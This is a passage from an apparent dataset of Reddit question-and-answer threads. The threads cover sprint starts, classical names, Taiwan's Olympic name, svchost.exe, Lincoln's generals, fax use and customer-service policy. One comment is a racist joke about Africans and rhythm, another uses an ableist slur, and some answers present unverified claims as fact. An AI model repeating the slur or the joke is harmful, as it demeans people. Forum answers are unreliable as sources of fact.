everyone appropriately poised at the starting line, they shoot the starting gun, which is the moment you are allowed to start moving forward.  This is where reaction time comes in, and a person with a quicker reaction time would clearly have the advantage (more so in a shorter, quicker race).  ", "That would cause even more false starts with people trying to get as close to 0 seconds as possible.", "I'm a cross country runner and my response to this would be that the reason they use a starting pistol is so that enormous amounts of stress and pressure can build up from the time you stand on the line to when they shoot the gun. This is purely for the entertainment of the underpaid official firing a fake pistol", "The truth is, racing sports all have their traditions. \n\nFor track (running) and swimming, getting a good reaction to the start is important; part of the game. For distance running like marathon, the start is a casual affair with runners starting in a group after a whistle blows. Big marathons, it might be minutes before someone in the back starts running. \n\nFor bicycle racing, the start on \"mass start\" (more than one bike starting in a group) is a pretty casual affair. For Match Sprints there's a whistle and the first guy starts when he's ready; second guy can't move until first guy moves. Longer races in a velodrome and on the road, the race does a casual start, does a neutral lap or length of road, then starts racing. On short road races, called \"criteriums\" and off-road bike races, the whistle blows and it's a mass scramble to get your bike in motion and your feet in the pedals. \n\nIn time trial events, the race typically starts when the person starts moving or using a rhythmic countdown. On a bike, it's a rhythmic countdown usually, unless it's a \"flying\" event on the track, and then the timer is started triggering on the bike crossing a line. In downhill skiing events, the timer starts when the racer flips the gate exiting the platform. \n\nAs you can see, it varies. Sports are all games that their core, and the rules of the games are arbitrary when you get right down to it. Starting track running events on a rhythmic count would change the way the game is played... and the game works just fine without doing that. ", "Yes. The whole point of the current system is so that you *cannot* anticipate the gun. You have to wait until you hear it and then react.\n\nIf it were counted in reliably then there would probably be even more false starting as people try and time their release just right. It seems like it'd be harder for the athletes too.\n", "On your mark, set, bang is the start command in high school and collegiate races. Basically in between each command the runner has to change positions. It may take a tall runner a lot longer to get in the blocks than a short runner. Hence the discrepancy in time. Cars can just go.", "Because reaction time is part of the competition. One of the skills you need to win a race is the ability to start on cue, not before, in response to a shared signal. That's part of what you're being tested on.", "Rhythmic countdowns actually encourage false starts. Hearing \"3, 2, 1, Go!\" encourages an athlete to start motion between the 1 and Go! But a simple \"Ready, Start!\" sequence of sounds leaves everyone on a level playing field of having no idea when the starting sound is coming, thereby reducing false starts.", "If they used a count down, a rhythm or any other way, drivers would just try to predict the start. \n\nThis part of the competition is about reaction times as others said.", "When I was competing in Track years ago, I was coached to watch a few races before my race to see what the starters personal rhythm was.  Some pace through evenly, some have different pauses, some are fast, some slow.  That way when you got to your race, you were at least a little prepared.  \nBut ultimately, part of the competition is being able to hold yourself, ready to bust out of those blocks when the gun goes.", "Being a semi-casual sprinter, I can't really imagine not having the moment of reaction as a factor in the race. Especially in the shortest races, a good start can very much contribute to your win. In the same way, if you miss the start even for just a split second you're pretty much screwed already!\n\nSure, as someone already have pointed out, your idea could without problem be implemented in the longer track races, but not a chance they'd do it for the sprints.", "In my experience in college cross country, some race directors do a countdown, and announce the number of seconds before the start of the race.  It is not completely rhythmic even then, however, because there will often be a point where they stop counting and check to make sure the field of runners is standing still and behind the starting line.  This often happened with 5 \"seconds\" left, but could last between 3 and 30 seconds, depending on the starter.  It's all about checking the starters, really.", "The problem with false starts is that, in this case running, the runner can anticipate the start.  If you can time that anticipation properly, you can get off the blocks or the line as soon as the starting pistol goes off.  This is considered to be an unfair advantage.  So the starting pistol goes off at a \"random\" time so that getting off the blocks is based off of reaction which is considered a part of the race.  Your reaction/burst in getting off the blocks is a part of the physical challenge of the race.\n\nIf the countdown was rhythmic, the start would be more easily anticipated, and if you're perception of the tempo is too fast, you'd false start anyway, so it's better to take any thought out of the start and make it a pure reaction to a stimulus.  Even in rhythmic 3, 2, 1 countdowns false starts are much more likely because people think it's more easily anticipated.  With a random start, every one might be slower off the blocks, but you're not going to have anyone unfairly off the blocks quicker.  Everyone's at the same disadvantage.\n\nIn cross country, they do a SUPER long countdown.  They start giving warnings at maybe 10 or even 15min, then every 5min till the start of the race.  They'll warn you again at 1min, 30sec, 15sec, and then at 10sec they audibly call out the count down until they get to 5sec, then they stop counting aloud.  I believe that anywhere in that 5sec, or even past the 5sec, they can shoot the starter pistol.  This way the runners have absolutely no way of anticipating the start.  It could happen at 4sec or -1sec.  You're forced to start off of the starter pistol and your reaction.  At least in WI High School CC, a false start is an automatic disqualification, probably because it's a pain in the ass to reset 100 runners, and there use to be kids who would intentionally false start races (my mom did it, and then her younger brother did it when he started running, this was like the 70s) to psych out the other teams and get them to lose their initial burst.  The people who were intentionally false starting would hold back when going off the line, cause they knew it wasn't for real, which would give them a strong start, allowing them to get a better position in the pack at the start of the race.  They'd also be more loose and fresh for the duration of the run, while everyone else has already engaged their muscles and is freaking out.", "Straight up, it's not meant to be easy. A good start is what separates a great rider/driver from a good one.", "Because the response/reaction time to the gun going off is part of the race and hard work is put into training this specific area. The fastest off the mark is a big part of the race outcome, certainly in 100m sprints etc.", "more false starts will happen because people will start after what they think has been a second after hearing \"1\", rather than starting after they hear the starter pistol. Its better to have the disparity of starts be a result of reaction times than someone jumping the gun by fractions of a second. \n\nyou can test this out with a small group, counting down creates anticipation that leads to more false starts.", "Despite what everyone here is saying, there is in fact a rhythm for starting races - it's just different for every one firing the gun. I ran the 100 and 200 for a long time and what my dad taught me early on was to watch the guy who started the races and see what his timing for starting was. Everyone was a bit different, but between races their starts were pretty consistent. My quick, anticipated starts always gave me a huge advantage in races, especially the 100.\n\nFor those who don't know, the first command given in a race is \"take you mark\", which means that runners need to get their feet in the starting blocks. You can take as long as you want here and they will wait for you. The next command is \"set\", which is where runners raise their knee off the ground from the resting position and get into their set position. Now between \"set\" and \"go\" is where the consistency in starters timing lies. Counting beats was always a way to get that timing right, hence the rhythm. Timing with their arm raise helped too.\n\nWhat makes this strategy viable is the fact that each runner gets one free false start before being disqualified. In all my races I was never disqualified for false starts, and only two or three times even called on it. However most times I was moving before everyone else, many times right at the gun, and sometimes before it fired.", "Musicians want to start at the same time. Runners etc. want to start a tiny bit before the others if possible. It's a differenz kind of aticipation and excitement.", "There was an instance where they did employ a rhythmic countdown. The movie about the first Jamaican bobsled team. \"Feel the rhythm! Feel the rhyme! Get on up, its bobsled time! Cool Runnings!\"", "I don't know what \"false starts\" have to do with race relations but I think it's safe to say that incorporating rhythm into it would give Africans an unfair advantage.\n\nEdit: Wow guys! This blew up! I go take a nap and when I check back I have over 9 upvotes! To those of you saying that this is \"racist\" or that I'm missing \"the point,\" it'd probably be a lot easier for you to attack my use of \"scare quotes.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "49by2h", "title": "Why is it that Trojan names like Hector, Paris, Helen and Cassandra are used over ancient Greek names like Achilles, Odysseus and Agamemnon?", "selftext": "Edit: To clarify, I mean in the modern, western Countries. However information on places outside the west is welcome.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49by2h/why_is_it_that_trojan_names_like_hector_paris/", "answers": {"a_id": ["d0qls9m", "d0qnoqy"], "score": [2, 3], "text": ["Hi there!\n\nCould you clarify the question? Specifically as to what context in which Trojan names are used over Greek names you are talking about?\n\nThank you!", "In terms of the Homeric names you mention, you're right - presumably because the Trojan ones are easier to say and spell. On the other hand, you won't often find people named after Aeneas or Pandarus or Sarpedon, and some of the most common Western names are Greek in origin. Probably the most widespread is Paris' alternative name, Alexandros - made famous by Alexander the Great. Then there's Andrew (Andreas), Timothy (Timotheos), Peter (Petros), George (Georgios)..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5tjjd4", "title": "Is there a biography on Agrippa, Augustus Caesar's close friend and successful general?", "selftext": "I've gleaned through his Wikipedia page after reading Adrian Goldsworthy's biography of Augustus and he seems an incredible figure himself. His Wikipedia page also mentions that the Senate conferred powers unto him almost rivaling Augustus', which is astonishing in itself. What do we know about the man?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5tjjd4/is_there_a_biography_on_agrippa_augustus_caesars/", "answers": {"a_id": ["ddn1ttc"], "score": [5], "text": ["Roddaz wrote a book called, creatively, *Marcus Agrippa*. It's in French and I'm not sure if it was ever translated, but I believe it's the most recent complete treatment of Agrippa's life--I personally have not read it yet, but as far as I'm aware there's relatively little that's controversial about Agrippa's life. There are two older treatments, both from 1933: Daniel's *M. Vispsanius Agrippa* and Reinhold's *Marcus Agrippa*. There are of course more specialized works, such as Shipley's *Agrippa's Building Activities in Rome* (also in 1933 come to think of it...) but those are the main biographies. Of course, most good biographies of Augustus will tell you most of what you need to know about Agrippa--for all his power and influence he appears from our texts mainly to have had little independence from Augustus"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8v9i7e", "title": "why is taiwan compelled to use \"chinese taipei\" as their national sporting team name?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8v9i7e/eli5_why_is_taiwan_compelled_to_use_chinese/", "answers": {"a_id": ["e1lkncy", "e1lnfy7", "e1lpv24"], "score": [32, 3, 3], "text": ["Taiwan is not officially recognised as independent by most countries. China claims Taiwan is part of China, and they will refuse to have diplomatic relations with any country which recognises Taiwan. Since China is the bigger and more powerful of the two, most countries choose them over Taiwan.\n\nIt's further complicated by the fact that on paper, Taiwan's government claims to be the government of all of China. I don't think the actual people in government really think they should rule China, but making an official declaration that Taiwan is an independent country that isn't part of China would antagonise China. So they've avoided doing so.\n\nSo when it comes to events like the World Cup or the Olympics, China would object to treating Taiwan as if it's a completely separate country to China. So as a compromise, their team is called Chinese Taipei, recognising the fact that Taiwan is Chinese, but differentiating it from China's team by adding \"Taipei\" (which is Taiwan's capital city).", "After WW2, the communists had retaken mainland China from the Japanese, and the nationalists were forced to flee to Taiwan. Since both groups claimed to be the legitimate government of the entity known as \u201cChina\u201d, each treats each other like a rebel faction.\n\nAcknowledging that Taiwan is a country will mean the PRC loses its claim on Taiwan, since it is a seperate country and no longer part of China still under nationalist rebellion.\n\nAs such, PRC actively discourages other nations from calling Taiwan a country, and will heavily punish companies which don\u2019t know otherwise and accidentally list Taiwan as a country.\n\nIn order to avoid such problems, the \u201ceconomic area\u201d of Taiwan (not a country) participates under the name \u201cChinese Taipei\u201d. This reflects that yes, they are still part of China, not another country known as Taiwan. Taipei is their capital city and used to distinguish themselves from mainland China. It would be very confusing for 2 teams called China to enter international events.", "Why isn\u2019t it called \u201dChinese Taiwan\u201d then? Seems odd to have the whole island named after the biggest city. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1e2b5r", "title": "why do we get disgusted when we see a strand of hair in our food ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1e2b5r/eli5why_do_we_get_disgusted_when_we_see_a_strand/", "answers": {"a_id": ["c9w3w6d", "c9w41l2", "c9w42b2", "c9w4alu", "c9w56sn", "c9w5edy", "c9w5z2d", "c9w68v5", "c9w6cda", "c9w7b32", "c9wdi18", "c9wtbw7", "c9wvxxp"], "score": [44, 42, 17, 3, 4, 18, 13, 3, 5, 6, 3, 3, 2], "text": ["Because hair in your mouth is uncomfortable.", "Because the implication is that poor preparation practices allowed the hair to fall in, so there very well may be other stuff as well.", "It doesnt bother me one bit.", "It's not edible. I'd be similarly disgusted to find a screw or a splinter or wood or a razor blade in my dinner.", "Because people are sissies.", "First of all, hair is really tough and doesn't break down like most other organic things. It will last for hundreds of years, given the right circumstances. The only way to destroy it is to burn it. Now combine that its shape- very long and thin- which makes it easy for it to get stuck places. So when it gets in your mouth, it doesn't dissolve, you can't chew it apart, and if you try to just swallow it, the length causes some of it go down your throat while some is still up in your mouth. Then you have to carefully pull it all the way back up your throat....\n\nJust writing this is making me feel really nauseous. I'm going to stop now.\n ", "Mostly because you've been told it's disgusting, so that's how you feel about it. Now of course there's good reason to be told it's disgusting because if there's hair in your food who knows what other dirt is in there, but reacting with disgust to it is a learnt reaction.\n\nIt's like how in some countries the *thought* of eating snails would be disgusting while in others it's not.", "Who said I get disgusted? Those are my favourite bits in spaghetti bolognese!", "Because you imagine a stranger's skin oils and dandruff in your mouth...", "Growing up if I ever found a hair in my food my mom would say \"Oh you are the winner\" ", "I was actually never bothered much by this either, especially after growing up with dogs", "I'm generally not disgusted. If the food was prepared by a family member I could not care less.\n\nIt's definitely a how-you-were-brought-up thing, though. My parents don't care, so I don't care.", "Because one, hair in your mouth is annoying, and two, it's a piece of someone else's head, all greasy and sweaty, and you're eating it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3kg0v3", "title": "why the fuck are there over 75 eli5 posts on my front page?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kg0v3/eli5_why_the_fuck_are_there_over_75_eli5_posts_on/", "answers": {"a_id": ["cux3l6d", "cux3lwk", "cux3qbe", "cux3sis", "cux4hty", "cux4miw", "cux655b", "cux6e24", "cux7zc0", "cux8tlg"], "score": [772, 62, 75, 5, 13, 2, 7, 2, 2, 2], "text": ["On a related note: why does it seem that new posts always seem to come in \"groups\" on my frontpage? If I browse reddit and I'm on page  > 5, it always seems that one page is filled by 50% posts from one subreddit, next page with another subreddit, etc.", "I'm not sure what you're seeing.  I even logged out and checked Reddit, and nothing from ELI5 is on my Front Page.\n\nI upvoted you though, so maybe we'll see one more post get up there.\n\n**edit** Now I'm seeing a ton on top/this hour, but not on the Front Page.\n\n**edit2** One possibility is that the Front Page algorithm only displays something like 30-50 of your subscribed subreddits at a time.  The reason for this is so that smaller subreddits don't get constantly overshadowed by larger subreddits.  It's possible that the algorithm picked ELI5, and a bunch of small subreddits you're subbed to.  Then, since ELI5 is so much more active than the smaller subreddits, it's overshadowing them on your Front Page.", "Are you maybe only subscribed to /r/explainlikeimfive?", "Are you 5?  Filter based on age?", "Seeing the same. If I had to guess I'd say it's either:\n\nA) Something fucky going on with the reddit backend that's causing the front page algorithm to prefer post from ELI5, despite having few upvotes etc.\n\nB) Some sort of promotional ELI5 event.\n\nIt's definitely not evil lizard aliens trying to further pacify the population by pushing the concept of simple answer to complex questions, slowly moving society to a state where they will only accept very basic, easily digestible pieces of information like buzzfeed list articles, or the answers on this sub-reddit, conditioning the human mind to be more and more suggestible to any simple idea or instruction that's put in front of them and can be easily understood, until the day where they completely take over as humanity sleepwalks into it's subservient roll under their new intergalactic overlords. That would be ridiculous.", "I've noticed the same thing but with Showerthoughts. It used to be one here and there, but for about a month there have been a ton.", "Did you accidentally click the subreddit?", "Because people like you contribute to asking the most fucking retarded questions on the planet", "The front-page selection algorithm fucked up for you. It used to do that a lot more regularly a few years back, but this is the first time I've heard of it occurring since.", "Two finger tap is upvote, i really only started doing it when i found out that sweet little trick. Alien Blue is awesome -but yeah, this new algorithm thing is not working for me.                "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "15msac", "title": "What caused the Japanese electronics industry to boom post WWII?", "selftext": "First question asked: Even if it's just articles to read that'd be great. I started getting confused regarding all this zaibatsu stuff.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15msac/what_caused_the_japanese_electronics_industry_to/", "answers": {"a_id": ["c7nz14s"], "score": [6], "text": ["Relevant: [How did Japan manage to get the edge on the technology industry?] (_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/13t852/how_did_japan_managed_to_get_the_edge_on_the/"]]}
{"q_id": "w62u9", "title": "svchost.exe", "selftext": "Why does this process get so freaking big over time?  I have a pretty vague understanding of what it does, but is there any way to decrease its memory usage without reformatting my computer/disabling essential Windows services?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/w62u9/eli5_svchostexe/", "answers": {"a_id": ["c5alprh", "c5alpzk", "c5alr69", "c5alt5w", "c5am2wi", "c5aqz4y", "c5arukm", "c5b05nr"], "score": [24, 4, 7, 54, 158, 3, 2, 2], "text": ["This sums it up pretty well:\n_URL_0_", "It allows the computer to use .dll files (dynamic linked libraries, basically files full of code). DLL files can't load themselves, they aren't executable and svchost acts as a middle man between programs and DLL's.\n\nIf lots of processes use the same DLL file svchost helps them share the DLL file between them as well, so if one DLL is being used by a lot of processes it can bloat up that instance of svchost and use a lot of memory.\n\nThere are multiple instances of it running for various DLL files, also having multiple instances means that if one file/program goes wrong it doesn't take the whole computer down with it when it crashes. It's a very essential process, windows won't work at all without it, so don't tinker with it.", "I once was working as an operator at an internet cafe. The ALL-MOTHER-OF-SERVERS that was handling everything in there, back in the days, was running Windows 2000 Server, on a P4, with 512 ram.\n\nMy boss told me, on my first day of work: don't touch the server, except once or twice a day, go check if svchost.exe is over 512 MB ram, restart the server (the process was constantly growing, from a few Bytes to a few KB per second :) ). Needless to say, a reboot was usually taking between 15 and 30 minutes... Boss didn't know why this was happening but he told me he had a guy who maintains the servers and the network.\n\nFor almost 10 months that I worked there, nobody fixed it :p", "Really, it's because there's so much code that computers need to keep track of.\n\nMicrosoft makes a bunch of code for running on computers. Some of that code needs to run as a super-user, because it needs to use things that can't be used directly by programs that aren't all-powerful. \n\nExamples: When you use 'Hibernate', the computer needs to read all of the memory (which is lost when your computer turns off) and save it to the hard drive(which isn't). If it didn't do that, it would forget everything that it was doing, which would make 'Hibernate' pointless. But if any program could read what any other program was doing, it could see secrets that your computer is supposed to keep. That's why unsuper programs can't peek at what other programs are doing.\n\nHowever, sometimes unsuper programs need to have some control over this stuff. For example, you might want an unsuper program to be able to make your computer hibernate. One way would be to have all programs run as super-user. The problem with this is that if even one program is written wrong or in an evil way, that could break your whole computer, or worse, steal all the information on your computer and send it to bad guys.\n\nThere is a better solution: The **software interrupt**. Normally, interrupts are a way for the other parts of the computer to get the attention of the thinking part. Like, \"Hey! Listen! This file is done copying!\" But a software interrupt is more like, \"Hey! Listen! I can't do this by myself!\"\n\nLet me give you an example. Suppose you wanted to bake a cake. You put all of the ingredients together, and mix it up. But you have a problem. You're not allowed to turn on the oven. So you call mommy and ask her to turn the oven on for you. That way, we can make sure the oven isn't set to too high of a temperature, and that it doesn't get left on.\n\nSo, that's one problem solved. But what if microsoft makes code that is useful, but doesn't need to be run as super-user? For example, the electric mixer that you used to make the cake. One way you be for Microsoft to send the code to the people who make unsuper programs so they could include it. There's a problem with that though.\n\nIt would be like if you needed a different mixer for every recipe. That has two problems. First, we don't have enough space in our kitchen for that many mixers. Second, say that Microsoft makes a mistake when they make the mixer, and it turns out all of the mixers catch on fire when you turn the mixer to full speed. The mixers need to be fixed one by one. If there was only one mixer, it would only need to be fixed once.\n\nInstead of each recipe including a mixer, Microsoft sends us one mixer with our kitchen, and the recipes just say \"mixer.\" The word \"mixer\" takes up way less space than an actual mixer. Plus, if there's a problem with the mixer, it only needs to be fixed once.\n\nA bunch of smart people from Microsoft sat around a big table, and made up a new way of keeping track of code. This way of keeping track of code is called a \"Dynamically Linked Library\", or DLL. Dynamically linked just means that it looks for the mixer when you're making the recipe, instead of being included with the recipe. This has the advantage of avoid the multiple-mixer problem we just talked about, but has the disadvantage that you can't use their recipe if you don't have a mixer.\n\nHowever, the problem with DLLs is that you can't run them directly. A program can \"call\" a piece of code in it, but because a DLL contains so many pieces of code, if you ran it directly, the computer wouldn't know which one you wanted.\n\nLet's say a bit of code is useful both on it's own, and when called by a program. So you write a small program, one that just finds your DLL and calls a function in it. Done. But you have a bunch of these small programs, and you can make a more complicated program to replace all of your small programs. It accepts the name of the DLL, and the name of the piece of code. You call this program SVCHOST.EXE\n\n**TL;DR: svchost.exe is not a specific piece of code.** It is a general purpose way to *load* code.\n\nOut of character:\n\n > I have a pretty vague understanding of what it does, but is there any way to decrease its memory usage without reformatting my computer/disabling essential Windows services?\n\nProbably not. You'd have to figure out what DLL it was running, what it did, and even then it might be essential to your system. Also, it may not be part of windows, but a program that you installed.\n\nHave you tried turning it off and on again?", "svchost or \"service host\" is an errand boy.  It runs around for \"services\" doing their misc tasks - so the weight or \"memory\" that it caries is not its own.  The problem you have isn't with svchost it self most likely but with a service not being good about what its making svchost cary.", "At a certain point the metaphors get more confusing then the actual explanation. Anyone agree?", "Have you ever been to _URL_0_? Sounds like that would be a much better place than ELI5. ", "Go Type These in your Command Prompt:  \n    tasklist /m /fi \"imagename eq svchost.exe\"  ** <  Displays the DLL files Associated with the Svchost.exe Process**  \n    tasklist /svc /fi \"imagename eq svchost.exe\" ** <  Displays the Services Associated with the Svchost.exe Process**    \n\nIf you Found Anything suspicious then This Will be a Trojan or a Keylogger or any sort of Malicious Software that is Disguised as the Svchost.exe Process, Track down the dll files, Delete them and Get a Full Scan to your computer and you should be alright.   \n \nhowever if you didn't find any of that then i suggest doing the following:  \nPress Start and type msconfig in that little search field in the start menu, or type it in the Run box if you're using XP, Go to the Services tab and turn off some services that you don't need, or if all of that didn't work for you i suggest setting the process to a lower Priority **(Not Recommended).**  \n\n    feel free to PM me if you need Further Help with Anything from the above."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.howtogeek.com/howto/windows-vista/what-is-svchostexe-and-why-is-it-running/"], [], [], [], [], [], ["stackoverflow.com"], []]}
{"q_id": "6gqzvy", "title": "During the American civil war, why did Lincoln continue to appoint \"incapable\" generals?", "selftext": "As far as my knowledge goes, the south possessed over much more capable commanders primarily from a military background. Examples are Lee, Johnston, Jackson, Longstreet, Hood, J.E.B. Stuart... \nUnion commanders however, as far as I've read, primarily knew their origin in politics or business. Examples are: Burnside, Rosecrans, McClellan, Sherman... McDowell and Hooker being the exception here. Now the CSA also had a few commanders without an outspoken military background such as Forrest and Early, but the majority were career officers (correct me if I'm wrong, I may have mixed up some names). \n\nNow as to the effectiveness of these commanders, the south clearly had the upperhand. A few of their commanders were of course not as capable, but this, I feel, was generally not the norm. \nIn the north, Lincoln continuously relieved one commander after another (McDowell, McClellan, Burnside, Hooker and Rosecrans). This seemingly unending chain of change of command only changed after Grant came in as general commander of all union armies in 1864 (he had already proven himself at Shiloh). Under him, Sherman was also a very competent commander.\n\nMy question is: why did Lincoln continue to appoint politicians, industrialists or bankers? (Again, Hooker and McDowell being the exception). People like Longstreet, although not a politician before the war, were overall much better commanders being veterans from the American-Mexican war. Why didn't Lincoln see that a businessman or a politician were not always the best generals? Was this due to intense lobbying and pressure from outside? Or was there another reason?\n\nOnce again, please correct me if I misplaced a few of the names or made some other mistakes.\n\nThank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6gqzvy/during_the_american_civil_war_why_did_lincoln/", "answers": {"a_id": ["dit35bp"], "score": [4], "text": ["A large factor (though perhaps not the only factor) shaping why Lincoln appointed the generals that he did were political considerations. Many generals were appointed because, by doing so, Lincoln hoped to bolster political support for the war effort with a particular regional, ethnic, or partisan constituency. For example, Lincoln might appoint a German-American general (such as Franz Sigel) because doing so would improve recruitment amongst German immigrants. He was also careful to appoint some Democrats in order to show that the war wasn't just a Republican Party endeavour, but a cause for all Americans regardless of political affiliation. \n\nThat said, Lincoln and the Union leadership DID learn that businessmen and politicians did not make for great generals. These political appointments petered off quite significantly by 1862-1863. I speculate, however, that he didn't want to fire many of the ineffective generals that had already been appointed because doing so would offend their given constituency. Firing George McClellan, for example, was deeply unpopular with many soldiers and civilians alike - though ineffective, he was well-respected.\n\nI also think it's significant to consider that part of the Union's struggles weren't always necessarily because its leadership was less competent than that of the South, but that it had a more difficult objective to achieve. I think, arguably, it was more difficult in mid-nineteenth century warfare to invade and secure control of a large territory than it is to fight a defensive war. Keep in mind that both of Robert E. Lee's major attempts to go on the offensive into the North were thwarted (at Antietam in 1862 and Gettysburg in 1863); going on the offensive was challenging, and it look several years (and a willingness to approach total war) to figure out how to do so effectively.\n\nIf you're interested in reading a bit further (or want to know what my sources are), James McPherson discusses some of this in a couple of his books. *Battle Cry of Freedom: The Civil War Era* is his classic work which discusses a lot of this, and *This Mighty Scourge: Perspectives on the Civil War* also has some information about military leadership and the transition to what he calls \"hard war.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "99ed75", "title": "why do so many businesses still require documents to be faxed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/99ed75/eli5_why_do_so_many_businesses_still_require/", "answers": {"a_id": ["e4mygux", "e4myi48", "e4mynwq", "e4mz2jl"], "score": [3, 2, 11, 3], "text": ["i had to sign a legal doc but was way way far away in another state.  they faxed to me, i signed, i faxed to them.  i guess they didn't have a scanner or know how to send a doc in an email.  had to go to a gas station.", "Faxes are a special case where the  copy is considered as equally legally valid as the original because the fax protocol doesn't store the file in a manner that is plausibly subject to manipulation.\n\nIn othet words, the signature on a faxed copy of a document can be submitted as evidence that the document was signed, where a PDF cannot be submitted and given the the same weight.", "As far as banks go, it's liability to their systems.  When you have 10s of thousands of employees opening attachments to emails, there's bound to be something malicious eventually. \n\nYou may not think so,  but banks spend a fortune on technology risk.  Fax receipts can be controlled easier than random PDF attachments opened by multiple persons.\n\nAlso, faxes get sent to one general box that can be used for record retention.   If a bank employee does not send the email to the general inbox, then there is a great possibility that it will not be uploaded for record retention.   Banks are required by law to hold all documents received for a period of time.   If not the fines can add up pretty quickly. \n\n", "Because the laws and legal precedents regarding contracts signed by fax have been well established.  This is not as true for other means of electronically signing documents, but this is starting to change\n\nIf a bank is loaning someone a bunch of money, they'd rather make you take one extra step than risk screwing up the deal (and possibly losing that money) because the way the documents signed is was not considered legally valid.  And if you are trying to get that loan, figuring out how to send or receive a fax is going to be one of the least difficult parts of the process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5sules", "title": "when did \"the customer is always right\" business model start, and why do we still use it despite the issues it causes?", "selftext": "From a business standpoint, how exactly does it help your company more than a \"no BS\" policy would?\n\nA customer is unreasonable and/or abusive, and makes a complaint. Despite evidence of the opposite (including cameras and other employee witnesses), why does HR or management always opt to punish the employee rather than ban the customer? Alternatively, why are abusive, destructive, or otherwise problem-causing customers given free stuff or discounts and invited to return to cause the same problems?\n\nI don't know much about how things work on the HR side, but I feel like it takes more time, energy, and money to hire, train, write tax info for, and fire employees rather than to just ban or refuse to bend over backwards for an unreasonable customer. All you have to say is \"no\" and lose out on that $1000 or so that customer might bring every year rather than spend twice that much on a high turnover rate.\n\nI know multibillion dollar companies are famous for this in the sense that they don't want to \"lose customers\", but there are plenty of mom and pop or independently owned stores that take a \"no BS\" policy with customers and still stand strong on the business end. \n\nWhere did the idea of catering to customers no matter what start, and is there a possibility that it might end?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5sules/eli5_when_did_the_customer_is_always_right/", "answers": {"a_id": ["ddhx6ys", "ddhxea3", "ddhzr9w", "ddi01ze", "ddi07ql", "ddi08u6", "ddi0lak", "ddi0pk6", "ddi0rhf", "ddi0s80", "ddi0wmo", "ddi0wv5", "ddi1139", "ddi11nt", "ddi18pq", "ddi1lcy", "ddi1sfj", "ddi1tr3", "ddi20me", "ddi2hiq", "ddi2pqa", "ddi35fe", "ddi54ca", "ddi54jl", "ddi5giu", "ddi5s9u", "ddi5seq", "ddi5vl3", "ddi6gqb", "ddi6h9b", "ddi6qvr", "ddi6v47", "ddi6xr0", "ddi7934", "ddi7cwd", "ddi7dzs", "ddi7jrj", "ddi7py0", "ddi7w9a", "ddi819n", "ddi8cc6", "ddi8ftw", "ddi8p9u", "ddi8tba", "ddia7ta", "ddia8dw", "ddiatzu", "ddib1n6", "ddibk82", "ddiby0l", "ddic6eg", "ddic7qs", "ddick50", "ddid05k", "ddid3dg", "ddidqgr", "ddids3x", "ddiecnr", "ddiedts", "ddiernj", "ddiersm", "ddif02h", "ddifhy0", "ddigvuh", "ddigwkw", "ddihq5r", "ddiilxs", "ddiirrf", "ddiivhp", "ddijtpg", "ddik5ct", "ddik637", "ddikhwt", "ddikk92", "ddikm00", "ddikwis", "ddil1pe", "ddil7ti"], "score": [4416, 17, 5023, 6, 17, 8, 30, 2, 6, 4, 3, 26, 2328, 2, 12, 2, 2, 6, 118, 47, 5, 28, 131, 12, 3, 5, 7, 16, 10, 2, 5, 2, 2, 2, 2, 3, 2, 2, 2964, 2, 4, 3, 52, 9, 8, 18, 6, 2, 5, 2, 31, 2, 2, 9, 2, 2, 11, 2, 2, 2, 7, 3, 3, 2, 2, 4, 2, 10, 2, 6, 10, 3, 2, 2, 3, 4, 3, 3], "text": ["EDIT: I've been informed by some alarmingly angry profanity enthusiasts that the origin of the phrase does in fact refer to the [customer service usage](_URL_0_). \n\nSo instead please refer to the original answer below as the most USEFUL version of the phrase, rather than the original. \n\n---\n\nThe \"customer is always right\" is an often abused and misunderstood sentiment.\r\rThe \"customer is always right\" originally meant that what the customer wants (and thus buys) is more important than what you think.\r\rFor instance, you're a shoe store. You stock green boots, black boots, and pink boots. Green is your favorite color. You always wear green boots.\r\rHowever, your customers only buy black and pink boots. Those green boots sit dead on your shelf, but you keep stocking them. Even when you could be using that money to stock more black and pink boots.\r\rThe customer is always right means it doesn't matter that you like green boots. Buy more black and pink and suck it up.\r\rThe saying got twisted through misunderstanding into some kind of customer service truism that it was never intended as.", "I have no idea where it started. It has been implemented for the most part to assure customer satisfaction. It is rare you get the abusive client. These people know what buttons to push and where. It's almist a career for them. The bigger the company, the more liability it will have. Trying to keep them quiet is a way to control a horrible PR story getting to the real customers. \n\nA woman was wearing a fancy dress and went to push on the door, catching her sleeve on the bar. She was furious at the company and demanded a new dress. We had clear video of what she did, but she was very loud and ready to involve courts. The company paid for a dress. Trying to out out fires are sometimes easier when they're smaller. \n\nI have seen some egregious and 